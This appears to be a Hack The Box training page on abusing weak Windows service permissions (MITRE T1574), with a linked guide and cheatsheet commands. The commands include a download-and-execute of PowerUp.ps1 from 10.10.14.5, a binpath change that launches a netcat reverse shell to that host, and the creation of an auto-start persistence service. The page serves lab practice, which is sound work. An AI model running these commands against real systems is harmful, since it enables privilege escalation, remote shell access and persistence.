Services File Permissions Weakness
Sub-technique of T1574 Hijack Execution Flow ↗
Replacing a service binary or changing its configuration when permissions allow it.
How it shows up on Hack The Box
Check services with sc qc and icacls (or PowerUp/winPEAS): writable binary, permission to change binpath, or unquoted paths with spaces. Then restart the service.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated 4 min read Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks
Unquoted paths with spaces
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Service config and permissions
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Change the binary of a modifiable service
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicioC2 and post-exploitation › Persistence
New service
Target
sc.exe create Updater binPath= "C:\\Windows\\Temp\\x.exe" start= autoNo command matches.